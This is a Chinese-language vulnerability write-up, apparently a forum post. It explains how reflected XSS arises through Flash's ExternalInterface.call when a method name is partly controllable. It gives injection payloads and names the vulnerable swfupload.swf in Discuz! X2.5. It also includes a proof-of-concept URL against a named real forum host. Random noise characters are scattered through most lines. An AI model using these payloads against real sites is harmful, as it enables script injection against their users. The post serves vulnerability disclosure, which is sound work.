上回我们说/ C J$ X) N, [) N: Q H# F7 e
( J# R. s- [. F5 n& f0 X& Z& mflash.external.ExternalInterface.call($methodName, $parameter)
, C) ?5 H, B% O4 i3 ^; z" y在浏览器中执行的是
; e/ w- q% ?# ?( k$ z0 u
: V; L# x/ E$ H4 w" J2 {try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
) K' ?5 }1 X+ E- `对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如+ N8 f! l6 A1 R8 I `4 z
9 v, ~% w; K8 Y# W1 {6 e$ Mflash.external.ExternalInterface.call("object."+$methodName, $parameter)3 U" w# v& a! w4 _ v! L# Z
$methodName = a())}catch(e){alert(/xss/)}//
U$ ?" `! O, F" R; G2 D结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。, i$ o+ M7 F1 s* ]* ?
9 d& Y, w; }8 p5 E3 Z" Q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
, U- {9 _/ w, P4 f- d8 v
' I" h' F0 s, ]7 w这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
8 j* E* j5 b/ Y: k杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
- }: |- v X( I- A! S
4 s( w8 I8 W6 y& [
! Q% r# P8 c, K0 {/ {, [$ O7 {$ d! Q" U1 P( ? b
漏洞文件:upload\static\image\common\swfupload.swf
! H- c& ?4 k7 D0 ?; T$ B# R3 v& D1 U4 \) C5 ~6 \
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
( H# u# F) r' P' j4 w( S6 k; H. P8 w1 _6 q4 p+ E: E& i
& q& Y6 F6 C& G
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 o3 p/ a2 F4 j$ j; J, ]
8 o; u# O, @$ U/ j$ f. {* O* }! b! ]7 m/ [- C* x F7 [
|